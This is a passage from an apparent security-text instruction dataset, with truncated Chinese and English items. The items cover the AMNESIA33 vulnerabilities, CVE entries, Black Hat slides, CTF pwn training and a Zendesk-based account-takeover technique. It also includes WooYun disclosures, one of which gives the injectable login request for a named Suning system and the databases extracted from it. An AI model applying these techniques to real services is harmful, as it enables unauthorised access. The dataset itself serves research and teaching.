4.6(2):sr1,4.6(2):sr2,4.6(2):sr3,4.6(2):sr4,4.6(2):sr5,4.6(2):sr6,4.6.2,5.0(0),5.0(0):sr10,5.0(0):sr11,5.0(0):sr12,5.0(0):sr13,5.0(0):sr2,5.0(0):sr3,5.0(0):sr4,5.0(0):sr5,5.0(0):sr7,5.0(0):sr8,5.0(0):sr9,6.0(0):sr1,6.0(0):sr10,6.0(0):sr11,6.0(0):sr12,6.0(0):sr2,6.0(0):sr3,6.0(0):sr4,6.0(0):sr5,6.0(0):sr6,6.0(0):sr7,6.0(0):sr8,6.0(0):sr9,7.0(0):sr1,7.0(0):sr2,7.0(0):sr3,7.0(0):sr4,7.1(2),7.1(3),7.1(4),7.1(5),7.1.0,7.2(1),7.2(2),7.2(3),7.2(4),7.2(5),7.2(6),7.2(7),7.5(2),7.5(3),7.5(4),7.5(5),7.5(6),7.5(7),7.5(8),7.5(9),7.5(10),8.0(2),8.0(3),8.5(1),8.5(2),8.5(3),8.5(4),9.0(2),9.0(3),9.0(4),10.0(1),10.0(2),10.5(1),10.5(2)", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n**作者：启明星辰ADLab \n原文链接：<https://mp.weixin.qq.com/s/UWeFBK3E1Zs4cTcMl4UU3A>**\n## 一、前言\n近期，国外安全研究人员在多个被广泛使用的开源TCP/IP协议栈发现了多个漏洞，这一系列漏洞统称为AMNESIA33。这些漏洞广泛存在于嵌入式和物联网设备中，影响了多个行业领域（包括医疗、运输、能源、电信、工业控制、零售和商业等），目前已知范围内涉及了超150家供应商以及数以百万计的设备。与URGEN11和Ripple20不同的是，AMNESIA33影响的是多个开源TCP/IP协议栈，因此这些漏洞可以悄无声息的地影响到无数个代码库、开发团队与各个公司的产品。目前已知的漏洞涉及到了智能家居、工厂PLC、SCADA设备与工控交换机，电力监控等设备。\n这些漏洞存在于uIP、FNET、picoTCP和Nut/Net等开源协议栈上，影响TCP/IP协议栈的多个组件，包括DNS、IPv6、IPv4、TCP、ICMP、LLMNR和mDNS等。其中包括多个严重漏洞，它们的CVE编号分别为CVE-2020-17437、CVE-2020-17443、CVE-2020-24338、CVE-2020-24336、CVE-2020-25111。\nCVE-2020-17437（CVSS评分8.2）、CVE-2020-17443（CVSS评分8.2）可导致设备拒绝服务。CVE-2020-24338、CVE-2020-24336、CVE-2020-25111（这三个CVSS评分均为9.8）都可导致远程代码执行(RCE)。其它28个漏洞的严重程度各异，CVSS评分分别从4到8.2。\n由于IoT、OT、IT设备供应链的特性，漏洞影响的设备众多，影响范围广且持续时间长，漏洞修复的实施较困难。同时，由于uIP、picoTCP开源协议栈已经不再维护，所以部分漏洞没有补丁，很多产品只能寻找替代技术方案或者是增加防范措施。\n因此，启明星辰ADLab对相关漏洞进行了分析，并成功复现了多个漏洞，开发了AMNESIA33相关漏洞检测技术，并提取了流量监控特征，这些技术正在应用到我们的安全产品中。为了缓解漏洞的影响，我们提出了下列防范建议。\n## 二、防范建议\n**对于这些漏洞的防范缓解措施，我们建议采取如下几个措施：**\n（1）配置内网设备的DNS服务器为内网DNS服务器。\n（2）如不必要，请关闭IPv6设置。\n（3）利用漏扫产品识别出采用问题协议栈的设备资产，对组织内可能存在问题的IoT,OT和IT设备进行风险评估。\n（4）防火墙及IPS产品加入AMNESIA33漏洞攻击识别特征，监控恶意流量。\n（5）如不必要，设备不要暴露在公网。\n（6）尽可能更新相关受影响协议栈到最新版本。\n下表是部分已经修复的协议栈及版本\nTCP/IP协议栈 | 修复版本 \n---|--- \nFNET | 4.70及以上 \nuIP-Contiki-NG | 4.6.0及以上 \nNut/Net | 5.1及以上 \nCISA联盟分享了13个涉及到AMNESIA33漏洞的公司的产品修复建议，包括了Microchip、Siemens等公司的产品，详见参考链接[5]。\n## 三、相关概念介绍\n1、DNS协议解析\nDNS的请求和响应的基本单位是DNS报文（Message）。请求和响应的DNS报文结构是完全相同的，每个报文都由以下五段（Section）构成：\nDNS\nHeader是每个DNS报文都必须拥有的一部分，它的长度固定为12个字节。Question部分存放的是向服务器查询的域名数据，一般情况下它只有一条Entry。每个Entry的格式是相同的，如下所示：\nQNAME是由labels序列构成的域名。QNAME的格式使用DNS标准名称表示法。这个字段是变长的，因此有可能出现奇数个字节，但不进行补齐。DNS使用一种标准格式对域名进行编码。它由一系列的label（和域名中用.分割的label不同）构成。每个label首字节的高两位用于表示label的类型。RFC1035中分配了四个里面的两个，分别是：00表示的普通label，11（0xC0）表示的压缩label。\nAnswer、Authority和Additional三个段的格式是完全相同的，都是由零至多条Resource\nRecord（资源记录）构成。这些资源记录因为不同的用途而被分开存放。Answer对应查询请求中的Question，Question中的请求查询结果会在Answer中给出，如果一个响应报文的Answer为空，说明这次查询没有直接获得结果。\nRR(Resource Record)资源记录是DNS系统中非常重要的一部分，它拥有一个变长的结构，具体格式如下：\nNAME：它指定该条...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\ntitleblackhat:us-21 Windows Heap-backed Pool: The Good, the Bad, and the Encoded\nFor decades, the Windows kernel pool remained the same, using simple structures that were easy to read, parse and search for, but recently this all changed, with a new and complex design that breaks assumptions and exploits, and of course, tools and debugger extensions.This new design modernizes the kernel pool and makes it significantly more efficient. Additionally, it has significant security implications - both good and bad. Major code changes break a lot of existing code and might make future pool-related exploits more difficult, or in some cases nearly impossible to write.But could this open up a whole new attack surface as well?", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Scary Tickets：第三方服务系统存在的安全风险（下）\n|\n##### 译文声明\n本文是翻译文章，文章原作者 sites.google.com，文章来源：sites.google.com\n原文地址：<https://sites.google.com/securifyinc.com/secblogs/scary-tickets>\n译文仅供参考，具体内容表达以及含义原文为准。\n## 一、利用Zendesk配置\n根据前面对Zendesk的了解，我们想挖掘如何利用这种处理过程来攻击正常客户。为了避免重复造轮子，我决定再次阅读Inti的研究报告，看他是否忽视过其他攻击方法。在Inti的研究报告中，他提到了利用类似系统来访问Slack以及Yammer。我觉得还有其他利用场景能够造成更严重的后果，比如在Google上获得有效的`[@domain](https://github.com/domain\n\"@domain\").com`邮箱，然后利用该邮箱获得访问权限。在下文中，我将与大家分享我在漏洞报告中使用的几个案例。\n### 攻击Zendesk\n**1、获得Google账户**\n每次渗透测试我们都可以先从定位公司的支持邮箱开始。为了完成该任务，我使用[hunter.io](https://hunter.io/try/search/domain.com)来寻找可能存在的支持邮箱列表。找到目标邮箱后，我使用自己的账户往该邮箱发送了一封简单邮件，请求提供帮助。如前文所述，如果目标服务使用的是Zendesk，那么通常就会自动回复邮件表示已确认收到我们发送的邮件。收到回复邮件后，我们就可以从中提取出哈希值。\n然后，我访问`accounts.google.com`开始注册账户。Google有一个注册功能，可以让我们绑定域名。这个功能非常有用，我们可以在Google上注册自己公司的域名，然后使用日历、群组等功能，无需创建GSuite账户或者注册GSuite服务。还有一点比较有趣，Google上大多数“Sign\nin with Google”使用的是Google的OpenID，当用户注册或者登录时只会检查邮箱的域名。因此这就会让这种攻击技术变得更加危险。\n为了获得有效的`support+[1@domain.com](mailto:1@domain.com)`邮箱，首先我回复自动回复邮件，将`no-[reply@google.com](mailto:reply@google.com)`添加为ticket的CC，完成该操作后再访问Google注册账户。注册账户时，我在名字（First\nName）和姓氏（Last\nName）字段填入的时ticket的哈希值。之所以这么做，是因为在发送验证码时，Google会向`support+[1@domain.com](mailto:1@domain.com)`邮箱发送一封邮件，邮件正文中包含`Hi\n{firstname}\n{lastname}`。成功完成测试后，我已经得到了经过验证的`[@domain](https://github.com/domain\n\"@domain\").com`邮箱，并且可以在“Sign in with Google”的大多数页面上使用。\n**2、利用已验证的邮箱**\n<1> 登录内部域名：\n在Google上获得已验证的邮箱后，我想测试能否在目标公司（Gitlab）内部或者敏感的环境中使用这个邮箱。其中有个网址为`https://prometheus.gitlab.com/`，该站点需要`[@gitlab](https://github.com/gitlab\n\"@gitlab\").com`域名才能登陆。\n然而需要注意的是，这里可能存在两种不同的Oauth：在某些站点中，Oauth使用的是简单的登录策略，会检查用来登录的域名是否与公司域名（`gitlab.com`）相匹配，并检查用户账户是否存在于目标系统中（`Prometheus`）。在类似`Prometheus`的某些服务中，用户账户采用自动配置（auto-provisioned）策略，这意味着只要用户使用`[@gitlab](https://github.com/gitlab\n\"@gitlab\").com`域名，即使该用户在目标系统中不存在，也能成功登录，使用有限的访问权限。在某些情况下，有些公司会使用基于GSuite的Oauth。在这种情况下，虽然我们能看到同样的Google登录页面，但后台的登录过程有所不同。登录函数会检查该组织的GSuite用户列表中是否存在该邮箱地址。通过Zendesk漏洞验证的任何邮箱并不存在于GSuite中，因为我们只能在Google中验证不存在的邮箱。如果目标企业使用的是GSuite\nSSO，那么我们就无法...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nNeedle in A Haystack:\nCatch Multiple Zero-days Using \nSandbox\nQi Li\nSecurity Development Engineer\nQuan Jin\nVulnerability Mining and Exploiting Engineer\n2019-5-30\nAbout Us\nQi Li (@leeqwind)\n360 Core Security Advanced Threat \nAutomation Team\nSecurity Development Engineer\nQuan Jin (@jq0904)\n360 Core Security Advanced Threat \nAutomation Team\nVulnerability Mining and Exploiting Engineer\n• Advanced Threat Automation and Sandbox\n• Find in-the-wild zero-days using Sandbox\nOutline\nCyber Attacks are Everywhere\nThe five in-the-wild exploiting zero-day attacks we captured up to now\nCVE-2018-15982\nCatch an international cyber-attack on a government \nagency in the world with a new Flash zero-day (CVE-\n2018-15982).\n2018-11\nCVE-2018-8174\nThe first to capture a new APT MS Office attack using a \nbrowser zero-day (CVE-2018-8174) in the world, w h ich \naffects the latest version of Internet explorer and \napplications using the core of IE at that time.\n2018-04\n2018-06\nCVE-2018-5002\nThe first company to catch an in-the-wild Flash zero-\nday (CVE-2018-5002) worldwidely. The vulnerability \naffects Adobe Flash Player 29.0.0.171 and all versions \nbelow.\n2017-12\nCVE-2018-0802\nThe first in the world to catch Nightmare Equation II \n(CVE-2018-0802) zero-day, which is the first in-the-\nwild zero-day Microsoft fixed in 2018.\nCVE-2017-11826\nCapture an in-the-wild zero-day (CVE-2017-11826) \nexclusively and globally. The first Office zero-day \nattack caught by Chinese security vendor.\n2017-09\nCyber Attacks are Everywhere\n1\n10\n100\n1000\n10000\n100000\n1000000\ndoc\ndocm\ndocx\neml\nhtml\nhwp\nmsi\nnsis\npdf\nppt\npptm\npptx\nrtf\nswf\nvbs\nxls\nxlsm\nxlsx\nexe\ndll\nothers\nFlash\nHWP\nIE\nKernel\nOffice\nPDF\nCVE-2012-0158\nCVE-2015-1641\nCVE-2015-1726\nCVE-2015-2545\nCVE-2016-7255\nCVE-2017-11882\nCVE-2017-8570\nCVE-2018-0798\nCVE-2018-0802\nCVE-2018-4878\nStatistics for some of the N-day exploits we detected from March 2018 to March 2019\nPartial file type classification\nVulnerability module \nclassification\nPartial vulnerability count\nAdvan...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCVE:CVE-2023-4459\nCNNVD:CNNVD-202308-1706\nLinux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。\nLinux Kernel存在安全漏洞，该漏洞源于vmxnet3 中的网络子组件中的drivers/net/vmxnet3/vmxnet3_drv.c 中的 vmxnet3_rq_cleanup 存在 NULL 指针取消引用缺陷。\nsolution:Upgrade linux linux_kernel to a higher version than 5.18,and avoid the version (,5.18); Upgrade redhat enterprise_linux to a higher version than 8.0,9.0,and avoid the version 8.0,9.0\nPHP Volunteer Management是款PHP形式网页日志管理工具。PHP Volunteer Management HTML注入漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码达到攻击的目的。\nPHP Volunteer Management是款PHP形式网页日志管理工具。PHP Volunteer Management存在任意文件上传漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码达到攻击的目的。\nphpCollab是一个支持中文插件的项目开发管理软件。phpCollab存在任意代码执行漏洞，攻击者可利用漏洞获取对应用程序的未授权访问权限，在应用程序上下文中上传并执行任意代码。\nDrupal是一款流行的内容管理系统。Drupal Post Affiliate Pro存在安全绕过漏洞。攻击者可以利用漏洞绕过安全限制，获得敏感信息并执行未经授权的行动。\nDrupal是一款流行的内容管理系统。Drupal Post Affiliate Pro存在跨站脚本漏洞。攻击者可以利用漏洞在弱站点的上下文中执行任意脚本代码并窃取基于cookie的身份验证凭据。\nDrupal是一款流行的内容管理系统。Drupal Aberdeen Theme存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。\nWordPress是一款使用PHP语言开发的内容管理系统。WordPress 2-Click-Socialmedia-Buttons存在跨站脚本漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。\nPiwik是一款PHP开源网站访问统计系统。Piwik存在多个未明跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。\nPHP Volunteer Management是一个开源的Web应用程序或脚本。PHP Volunteer Management存在多个SQL注入漏洞。由于应用程序在SQL查询使用前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中的漏洞。\nAzDGDatingMedium是一个交友网站。AzDGDatingMedium存在跨站脚本漏洞，由于通过\"c_temp_edit\"和\"f\"参数传递到admin/index.php(当\"do\"设置为\"tedit\")的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意THML和脚本代码。\nphplist是一个开源的newsletter管理软件，用PHP开发。PHPList存在PHP代码注入漏洞。由于PHPList 'Sajax.php'未能正确处理用户提交的数据，远程攻击者可以利用漏洞提交恶意代码，并以WEB权限执行。\nLibreOffice是一套可与其他主要办公室软体相容的套件，可在各种平台上执行。LibreOffice存在拒绝服务漏洞。由于LibreOffice未能正确处理'.rtf'文件，构建特制的'.rtf'文件，诱使应用程序解析，可使应用程序崩溃。\nWinRadius是基于标准RADIUS协议的拨号认证、记帐、记费商业软件。WinRadius服务器绑定UDP 1812和1813端口，由于没有正确校验密码选项大小，发送此选项超过240字符的请求可使应用程序崩溃。\nDynPage是一个基于CKEditor的开源简单CMS。DynPage存在任意文件上传漏洞。由...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCTF培训—PWN(漏洞挖掘与利用)\n报告人: 360政企安服-胡晓梦\n时间：2019年9月X日\nCONTENT\n团队介绍和自我介绍\n1\nPWN介绍\n2\nPWN基础入门\n3\nPWN实例讲解与演示\n4\nPWN解题总结\n5\n团队介绍和自我介绍\n第一部分\n团队介绍&自我介绍\n待完善优化\n讲在前面的话\n师傅领进门，修行在个人。\n虽然大部分培训只是入门的引领，但这里我们传授的是核心知识体系！\nPWN介绍\n第二部分\nCTF-PWN介绍\nØ 什么是PWN？\nPWN 题目主要考察二进制漏洞的挖掘和利用，需要对计算机操作系统底层有一\n定的了解。在 CTF 竞赛中，PWN 题目主要出现在 Linux 平台上。\nØ PWN题目形式?\n•\n一个ip地址和端口号\nExample: \nnc 106.75.2.53 60044\n1.nc==>即netcat，一个小巧的网络工具（Linux中自带），本题\n中用来建立TCP连接\n2.连接成功后，目标主机会运行题目文件，通过TCP连接进行交互\n•\n一个二进制文件\n即目标主机会运行的题目文件\n换句话说，比赛时可以在二进制层面知道目标主机将会运行什么代码（没有\n源代码）\nCTF-PWN介绍\nØ PWN题目需要做什么(流程)？\n1.分析二进制文件，找到其中的漏洞\n利用IDA Pro(目前工业界最先进的反汇编和反编译利器)等工具进行二进\n制分析,结合GDB调试找到其中的漏洞\n2.通过异常的输入,绕过防护,利用漏洞，执行目标代码\n常见的套路是执行system(“/bin/sh”)，打开shell\n3.获取flag\nflag一般在当前文件夹下\ncat ./flag 打开flag文件(一般txt格式)，获得flag(一串字符)\nCTF-PWN介绍\nØ PWN入门需要哪些知识？\nl 汇编语言基础、函数调用时的栈帧变换\nl 逆向基础: IDA静态分析+GDB动态调试,PWN可以看做是REVERSE的升级版\n(REVERSE++)\nl 软件防护技术(漏洞利用缓解)：\n 栈保护：Canary,堆栈不可执行：NX(No-eXecute)\n 地址随机化：ASLR(address space layout randomization)/PIE\n . . .\nl 各种类型漏洞原理（一般针对Linux系统）\n 主要两大类:栈漏洞(溢出), 堆漏洞(更复杂)\n printf 格式化字符串漏洞\n I/O file 漏洞等\nl 漏洞利用方法\n ROP(Return-Oriented Programming)技巧(还有JOP, Return To Libc,\n GOT Hook. . .目标劫持控制流)\nCTF-PWN介绍\nØ PWN需要使用哪些工具？\nl Linux系统(一般使用Ubuntu,Kali linux也可以）\nl IDA Pro:反汇编及反编译，同时也是强大的调试器(不过Linux环境下调试文件略麻烦)\nl Pwntools:一个用来解题的Python库，内置有很多自动查找地址、自动生成shellcode的函（一\n般情况下，不会出现可以直接用pwntools某个函数就能解的题，同时攻击的方法多样，\npwntools一般只是用到远程连接的功能\nl GDB： Linux 下 命令行界面的调试器，有一些好用的插件，比如gdb_peda、pwndbg\n插件可以在GitHub上找到，开源，易安装\nl ROPgadget：用于查找gadget和生成ROP链(之后会再介绍)\nl . . . . .\nØ PWN基本解题流程(基于逻辑灵活解题)\n逆向工程\n漏洞挖掘\n漏洞利用&\n防护绕过\nGetShell(flag)\nCTF-PWN介绍\n安全保护检查\nPWN基础入门\n第三部分\nPWN基础入门\nØ 汇编基础(参考REVERSE,这里不细述)\nØ 栈溢出\nØ Linux漏洞安全防护机制与绕过\nØ 其他漏洞(整数溢出、格式化字符串等）\nØ 堆漏洞\nØ ……..\nPWN攻防一览图 by jacob \n栈溢出(返回地址覆盖)\n栈溢出防护\n栈防护绕过\n返回地址覆盖\nNX/DEP\nCanar\ny\nASLR/PIE\nRet2ShellCode\nRet2ibc\nROP\nHijackGOT\n函数地址劫持\n泄露Canary\nCanary\n格式化字符串\n劫持__stack_chk_fail\n爆破Canary(fork)\nssp leak\nRet2ibc\nNX/DEP\nASLR/PIE\nROP\nreturn-to-plt\n爆破\nGOT overwrite\nGOT dereference\n泄露libc\n覆盖GOT\n堆溢出(多样、有趣)\n组合利用、\n灵活解题\npartial write\nvdso/vsyscall\nwrite、printf\nPWN基础入门\nØ 汇...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## 漏洞概要\n缺陷编号：wooyun-2015-0150144\n漏洞标题：酷我音乐某处配置不当导致内部组织架构信息泄露\n相关厂商：酷我音乐\n漏洞作者： ago\n提交时间：2015-10-28 22:41\n公开时间：2015-11-04 10:53\n漏洞类型：账户体系控制不严\n危害等级：高\n自评Rank：15\n漏洞状态：厂商已经修复\n## 漏洞详情\n ### 披露状态：\n 2015-10-28： 细节已通知厂商并且等待厂商处理中 \n 2015-10-29： 厂商已经确认，细节仅向厂商公开 \n 2015-11-04： 厂商已经修复漏洞并主动公开，细节向公众公开 \n ### 简要描述：\n rt\n ### 详细说明：\nmail格式在上个漏洞已经知道 \n登录 \n大量邮件 \n ### 漏洞证明：\n 内部员工邮箱 \n还有这里也可以 \n ### 修复方案：\n 改密", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n#BHUSA @BlackHatEvents\nStalloris:\nRPKI Downgrade Attack\nTomas Hlavacek, Philipp Jeitner, Donika Mirdita, Haya Shulman and Michael Waidner\n#BHUSA @BlackHatEvents\nInformation Classification: General\nTeam\n• Tomas Hlavacek\n• Donika Mirdita\n• Haya Shulman\n• Michael Waidner\nCybersecurity Analytics and Defences \ndepartement\n• Network Security\n• Routing and DNS Security\n• Philipp Jeitner\n• Network Security Researcher\n• Just finished my PhD\n#BHUSA @BlackHatEvents\nInformation Classification: General\nOutline\n• BGP & BGP Security\n• Ressource Public Key Infrastructure (RPKI)\n• Downgrade attack against RPKI\n• Feasability\n• Mitigations\n#BHUSA @BlackHatEvents\nInformation Classification: General\nBGP\n• Routing system of the Internet\n• Networks (ASes) announce the IP \nprefixes they have\n• Neighbors forward these \nannouncements\n• Everyone knows where to send \ntraffic\nAS \n64496\nAS \n64511\nAS \n64499\ntraffic\n198.51.100.0/23:\nAS64511, AS64496\n198.51.100.0/23:\nAS64496\n#BHUSA @BlackHatEvents\nInformation Classification: General\nBGP Hijacks\n• No built-in security\n• Just announce a prefix you do not \nown, be MitM, profit?\nAS \n64496\nAS \n64511\nAS \n64499\n198.51.100.0/23:\nAS64496\n198.51.100.0/24:\nAS64511, AS666\nAS \n666\n198.51.100.0/24:\nAS666\ntraffic\n#BHUSA @BlackHatEvents\nInformation Classification: General\nRPKI\n• Systematic approach to BGP Security\n• Certificates: Address block -> ASN\n• Called Route Origin Authorization (ROA)\n• Root of Trust: RIRs\n• Because RIRs allocate address blocks!\n• Kind of like getting your TLS cert from \nthe registry\n{\n\"asn\": \"AS64496\",\n\"prefix\": \"198.51.100.0/24\",\n\"maxLength\": 24,\n\"ta\": \"RIPE\",\n}\n#BHUSA @BlackHatEvents\nInformation Classification: General\nRoute Origin Validation\n• Now everyone has ROAs\n• (actually only 34.2%)\n• How to check them?\n• Put them into BGP?\n• Third-party system!\n198.51.100.0/24:\nAS666\nROA:\nAS64496 owns\n198.51.100.0/24\n#BHUSA @BlackHatEvents\nInformation Classification: General\nRPKI works!\n#BHUSA @BlackHatEvents\nInformation Classification: General\nA...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCVE:CVE-2020-6574\nCNNVD:CNNVD-202009-518\nGoogle Chrome是美国谷歌（Google）公司的一款Web浏览器。\nGoogle Chrome 85.0.4183.102之前版本存在安全漏洞，该漏洞源于安装程序中的策略执行不足，使得本地攻击者有可能通过特制的二进制文件实现权限提升。\nsolution:Upgrade google chrome to a higher version than 85.0.4183.102,and avoid the version (,85.0.4183.102); Upgrade opensuse backports_sle to a higher version than 15.0:sp1,15.0:sp2,and avoid the version 15.0:sp1,15.0:sp2; Upgrade opensuse leap to a higher version than 15.1,15.2,and avoid the version 15.1,15.2; Upgrade debian debian_linux to a higher version than 10.0,and avoid the version 10.0; Upgrade fedoraproject fedora to a higher version than 31,33,and avoid the version 31,33", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## 漏洞概要\n缺陷编号：wooyun-2013-037155\n漏洞标题：苏宁某系统登录处SQL注射漏洞\n相关厂商：江苏苏宁易购电子商务有限公司\n漏洞作者： 小胖子\n提交时间：2013-09-15 18:04\n公开时间：2013-10-30 18:05\n漏洞类型：SQL注射漏洞\n危害等级：高\n自评Rank：20\n漏洞状态：厂商已经确认\n## 漏洞详情\n ### 披露状态：\n 2013-09-15： 细节已通知厂商并且等待厂商处理中 \n 2013-09-16： 厂商已经确认，细节仅向厂商公开 \n 2013-09-26： 细节向核心白帽子及相关领域专家公开 \n 2013-10-06： 细节向普通白帽子公开 \n 2013-10-16： 细节向实习白帽子公开 \n 2013-10-30： 细节向公众公开 \n ### 简要描述：\n 办公业务系统思密达。\n ### 详细说明：\n 漏洞地址：办公业务平台（新） \n```\nhttp://ewp.suning.com.cn/main/login.jsp\n```\n在对用户名登录时的校验未过滤产生了注射。 \n这里提一个题外话，就是，对用户名密码进行校验的时候，如果不正确，那就提示“用户名或密码错误”不要单独提示用户名错误，那样会造成爆破用户名了再爆破密码的亲。 \n抓登陆验证用户名的包。你们的验证机制是先验证用户名，存在，再第二个包验证密码。 \n```\nPOST /ServiceAction/com.eweaver.base.security.servlet.LoginADAction HTTP/1.1 \nHost: ewp.suning.com.cn \nProxy-Connection: keep-alive \nContent-Length: 12 \nAccept: */* \nOrigin: http://ewp.suning.com.cn \nX-Requested-With: XMLHttpRequest \nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.66 Safari/537.36 \nContent-Type: application/x-www-form-urlencoded; charset=UTF-8 \nReferer: http://ewp.suning.com.cn/main/login.jsp \nAccept-Encoding: gzip,deflate,sdch \nAccept-Language: zh-CN,zh;q=0.8 \nCookie: Hm_lvt_a7224bddd5788980d5cb1e9bc49a7ae5=1379140053,1379141491,1379167160,1379167165; Hm_lpvt_a7224bddd5788980d5cb1e9bc49a7ae5=1379167165; JSESSIONID=A00610563FB2A51E5294CC2E3EC841A4 \nj_username=1\n```\n注入得到的数据。 \n当前数据库：current database: 'sn\\_ewp' \n所有数据库 \n```\navailable databases [8]: \n[*] master \n[*] model \n[*] msdb \n[*] sn_emobile \n[*] sn_emobile_test \n[*] sn_ewp \n[*] TalentBank \n[*] tempdb\n```\n当前库528个表，我就不读取进你们系统看了，尽快报送。 \n ### 漏洞证明：\n 见详细说明。 \n ### 修复方案：\n 0x1：不要单独提示用户名错误，然后登陆框用户输入数据过滤。 \n0x2：购物卡思密达！", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nPortable Privacy\nPortable Privacy\n2006: Darfur, Sudan\n1989: Beijing, China\n2005: United States of America\nPortable Privacy\nAlias: LadyAda\nName: Limor Fried\nCrime: Felony Assault w/ Banana\nLocation: New York, NY\nHangouts: Adafruit Industries\nNotes: Gang member of cow \nworshipping death cult\nLast Seen: In the Company of \nKevin Rose\nPortable Privacy\n3 Golden Principles\n● Portability\n● Elegance\n● Trustworthiness\nPortable Privacy\nPortability\n● Run Locally\n● Run Remotely\nPortable Privacy\nTrustworthiness\n● Bypassed by Trust\n● Source Code\n● License\n● Fail Securely\n● Imputed Protection\nPortable Privacy\nElegance (HCI and Beyond)\nWho Cares?\nEveryone\nPortable Privacy\nElegance (HCI and Beyond)\n● Appealing\n● Intuitive\n● Easy to Use\n● Self – Contained\n● Informative Status\n● Transparency\nPortable Privacy\nDigital Risk Vectors\n● Communications\n● Data Storage\n● Transactions\n● Computing Environment\nPortable Privacy\nCommunications\n● General\n● Web Browsing\n● Email\n● Chat / Messaging\n● VoIP\nPortable Privacy\nGeneral\n● Janus VM\n● xB VPN\nPortable Privacy\nWeb Browsing\n● Anonymizer\n● xB Browser\n- Tor Network\n- XeroBank Network\n● OperaTor\n● Honorable Mentions\n● Dishonorable Mentions \nPortable Privacy\nEmail Clients\n● Thunderbird Portable\n● MobilityEmail\n● xB Mail\nPortable Privacy\nMessaging\n● IRC\n● Scatterchat\n● Psi\n● Miranda + OTR\n● Pidgin + OTR\nPortable Privacy\nVoIP\n● Portable Skype\n● myJabber\n● Vonage USB\nPortable Privacy\nData Storage\nPortable Privacy\nTransactions\n● Risky Digital Currencies\n● Anonymous Currencies\n- Loom\n- eCache\nPortable Privacy\nComputing Environments\n● RockAte LiveCD\n● Incognito LiveCD\n● xB Machine\nPortable Privacy\nxB Machine\n● Runs on VMWare & QEMU\n● Private Network Info Only\n● Firewalled to Interface\n● Hardening\n● Clients: Tor, Jap, xB SSH, xB VPN, xB Onion\nPortable Privacy\nxB Machine\n● Usability Features\n- Firefox\n- Thunderbird\n- GPG / Enigmail\n- Jabber\n- Word Processor\n- Image Viewer\n- File Manager\n- Autoconfig of Anonymity Clients\n- Remote Encrypted Filesystem Mounts\nPo...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# CVE-2019-8518漏洞分析\nFTL JIT的LICM由于错误的将`GetByVal`提升到preheader导致没有检查数组边界从而造成OOB访问\n## 前置知识\nLICM即循环不变代码外提,也就是对于在循环迭代的过程中不会发生变动的代码,会将其移动到循环外\n## DFGLICMPhase分析\n下断到`attemptHoist()`函数\n (lldb) b WebKit/Source/JavaScriptCore/dfg/DFGLICMPhase.cpp:224\n尝试hoist需要几个条件,在`attempHoist()`中\n // WebKit/Source/JavaScriptCore/dfg/DFGLICMPhase.cppif (!data.preHeader) {\n if (verbose)\n dataLog(\" Not hoisting \", node, \" because the pre-header is invalid.\\n\");\n return false;\n }\n if (!data.preHeader->cfaDidFinish) {\n if (verbose)\n dataLog(\" Not hoisting \", node, \" because CFA is invalid.\\n\");\n return false;\n }\n ...\n if (!edgesDominate(m_graph, node, data.preHeader)) {\n if (verbose) {\n dataLog(\n \" Not hoisting \", node, \" because it isn't loop invariant.\\n\");\n }\n return tryHoistChecks();\n }\n if (doesWrites(m_graph, node)) {\n if (verbose)\n dataLog(\" Not hoisting \", node, \" because it writes things.\\n\");\n return tryHoistChecks();\n }\n if (readsOverlap(m_graph, node, data.writes)) {\n if (verbose) {\n dataLog(\n \" Not hoisting \", node,\n \" because it reads things that the loop writes.\\n\");\n }\n return tryHoistChecks();\n }\n if (addsBlindSpeculation && !canSpeculateBlindly) {\n if (verbose) {\n dataLog(\n \" Not hoisting \", node, \" because it may exit and the pre-header (\",\n *data.preHeader, \") is not control equivalent to the node's original block (\",\n *fromBlock, \") and hoisting had previously failed.\\n\");\n ...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
